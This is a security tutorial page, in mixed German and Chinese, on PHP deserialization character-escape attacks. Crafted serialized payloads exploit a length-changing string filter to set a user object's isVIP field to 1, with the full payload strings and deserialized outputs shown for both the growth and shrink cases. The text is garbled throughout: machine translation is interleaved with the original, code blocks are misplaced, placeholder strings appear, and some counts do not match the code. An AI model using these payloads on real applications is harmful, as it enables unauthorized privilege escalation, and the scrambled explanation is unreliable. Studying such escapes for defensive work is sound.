Heim  >  Artikel  >  Backend-Entwicklung  >  Vertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP

Vertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP

青灯夜游
青灯夜游nach vorne
2021-08-24 19:18:023336Durchsuche

Vertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP

Das Prinzip der PHP-Deserialisierungs-Zeichenflucht

Wenn Entwickler es verwenden, serialisieren sie zuerst das Objekt, filtern dann die Zeichen im Objekt und deserialisieren es schließlich. Derzeit besteht möglicherweise eine Sicherheitslücke bezüglich der PHP-Deserialisierung.

Detaillierte Erklärung des PHP-Deserialisierungs-Zeichen-Escapes

Für das PHP-Deserialisierungs-Zeichen-Escape werden wir es in den folgenden zwei Situationen besprechen.

  • Nach dem Filtern sind mehr Zeichen vorhanden.

  • Nach dem Filtern sind weniger Zeichen vorhanden.

Nach dem Filtern sind mehr Zeichen vorhanden , und dann drin Es gibt insgesamt 3 Mitgliedsvariablen: username, password, isVIP.

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
Sie können sehen, dass bei der Initialisierung dieser Klasse die Variable isVIP standardmäßig auf 0 gesetzt ist und von den während der Initialisierung übergebenen Parametern nicht beeinflusst wird.

Der vollständige Code wird als nächstes veröffentlicht, um unsere Analyse zu erleichtern. user类,然后里面一共有3个成员变量:usernamepasswordisVIP

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

接下来把完整代码贴出来,便于我们分析。

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这一段程序的输出结果如下:

function filter($s){
return str_replace("admin","hacker",$s);
}

可以看到,对象序列化之后的isVIP变量是0

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

因此整段程序如下:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这一段程序的输出为:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤

这个时候我们把这两个程序的输出拿出来对比一下:

s:5:"admin";
s:5:"hacker";

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串目标子串进行对比:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47

也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串

首先计算我们需要注入的目标子串的长度

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此我们在可控变量处,重复47admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

完整代码如下:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

程序输出结果为:

我们可以数一下hacker的数量,一共是47hacker,共282个字符,正好与前面282相对应。

后面的注入子串也正好完成了逃逸。

反序列化后,多余的子串会被抛弃

我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

object(user)#2 (3) {
  ["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

程序输出如下:

可以看到这个时候,isVIP这个变量就变成了1

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

Das Ausgabeergebnis dieses Programms lautet wie folgt:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
Sie können sehen, dass die Variable isVIP nach der Objektserialisierung 0 ist. Zu diesem Zeitpunkt fügen wir eine Funktion zum Ersetzen des Administratorzeichens hinzu und ersetzen den Administrator durch einen Hacker. Die Ersetzungsfunktion lautet wie folgt:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
//长度为47

Das gesamte Programm lautet also wie folgt:

";s:8:"password";s:6:"
//长度为22

Die Ausgabe dieses Programms lautet:

Das Vergleichen wir die Ausgabe dieser beiden Programme:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

Sie können sehen, dass der

gefilterte

Hacker in der Zeichenfolge nicht der vorherigen Zeichenlänge entspricht

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

Zu diesem Zeitpunkt z Wenn wir ein neues Objekt erstellen, ist der eingehende admin unsere steuerbare Variable

Als nächstes klären wir unser Ziel: Ändern Sie den Wert der Variablen isVIP in 1Zuerst vergleichen wir unseren vorhandenen Teilstring

und

Zielteilstring:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
Das heißt, wir wollen mit admin die Position der Variablen steuern und injizieren unser Zielteilstring. Berechnen Sie zunächst die Länge des Zielteilstrings, den wir einfügen müssen

:

Denn die Länge des Strings, den wir maskieren müssen, ist 47 und danach admin Jeder Filter wird zu hacker, was bedeutet, dass jedes Mal, wenn admin erscheint, 1 weitere Zeichen vorhanden sind.

Also wiederholen wir

47 Mal admin

für die steuerbare Variable und fügen dann unseren maskierten Zielteilstring hinzu. Die steuerbare Variable wird wie folgt geändert:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
Der vollständige Code lautet wie folgt:
Das Programmausgabeergebnis ist:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
Wir können die Anzahl der Hacker

zählen, es sind insgesamt

47 Hacke

r, mit insgesamt

282

Zeichen, was genau den vorherigen

282 entspricht.

Der am Ende eingefügte Teilstring hat auch gerade die Flucht abgeschlossen. 🎜🎜🎜Nach der Deserialisierung werden die redundanten Teilzeichenfolgen verworfen Diesmal wird die Variable isVIP zu 1 und der Zweck der Deserialisierung der Zeichenflucht wird erreicht. 🎜🎜🎜🎜Weniger Zeichen nach dem Filtern🎜🎜🎜🎜Oben wird die Situation beschrieben, in der es mehr Zeichen im PHP-Deserialisierungszeichen-Escape gibt. 🎜🎜Im Folgenden wird zunächst die Situation erläutert, in der die Escapezeichen für Deserialisierungszeichen reduziert werden. 🎜🎜Erstens ist der Hauptcode immer noch derselbe wie oben, es ist immer noch dieselbe Klasse. Der Unterschied besteht darin, dass wir in der Filterfunktion Hacker in Hack geändert haben. 🎜🎜Der vollständige Code lautet wie folgt: 🎜
🎜Erhalten Sie das Ergebnis: 🎜
object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}
🎜 Vergleichen Sie auch den 🎜vorhandenen Teilstring🎜 und den 🎜Zielteilstring🎜: 🎜rrreee🎜Weil beim Filtern 🎜5🎜 Zeichen gelöscht wurden. 🎜 4 🎜 , also wird im Gegensatz zur obigen Situation, in der die Anzahl der Zeichen zunimmt, mit zunehmender Anzahl hinzugefügter 🎜admin🎜 🎜der vorhandene Teilstring 🎜 eingerückt. 🎜🎜Berechnen Sie die Länge der 🎜Zielteilzeichenfolge🎜: 🎜rrreee🎜 Berechnen Sie dann die Länge der Zeichenfolge bis zur 🎜nächsten steuerbaren Variablen🎜: 🎜rrreee🎜Denn jedes Mal, wenn wir filtern, werden 🎜1🎜 Zeichen weniger sein, also haben wir Wiederholen Sie zunächst die 🎜admin🎜-Zeichen 🎜22🎜 Mal (die 22 Mal hier sind nicht so genau wie die Escape-Situation mit mehr Zeichen und müssen möglicherweise später angepasst werden) 🎜🎜Der vollständige Code lautet wie folgt: (Es gibt 🎜22 admin in den Variablen hier. 🎜)🎜rrreee🎜Ausgabeergebnis: 🎜🎜🎜Hinweis: 🎜Der PHP-Deserialisierungsmechanismus lautet beispielsweise: Wenn angegeben ist, dass 10 Zeichen vorhanden sind, aber nur 9 gelesen werden, werden doppelte Anführungszeichen erreicht Dieses Mal wird PHP das Anführungszeichen als 10. Zeichen behandeln, was bedeutet, dass das doppelte Anführungszeichen nicht verwendet wird, um zu bestimmen, ob eine Zeichenfolge beendet ist, sondern die Zeichenfolge gemäß der zuvor angegebenen Nummer gelesen wird. 🎜
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

Vertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

完整代码为:

输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

Vertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下输出结果:

Vertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

得到结果:

object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

推荐学习:《PHP视频教程

Das obige ist der detaillierte Inhalt vonVertiefendes Verständnis der Prinzipien der Deserialisierung von Zeichen-Escape in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:合天网安实验室. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen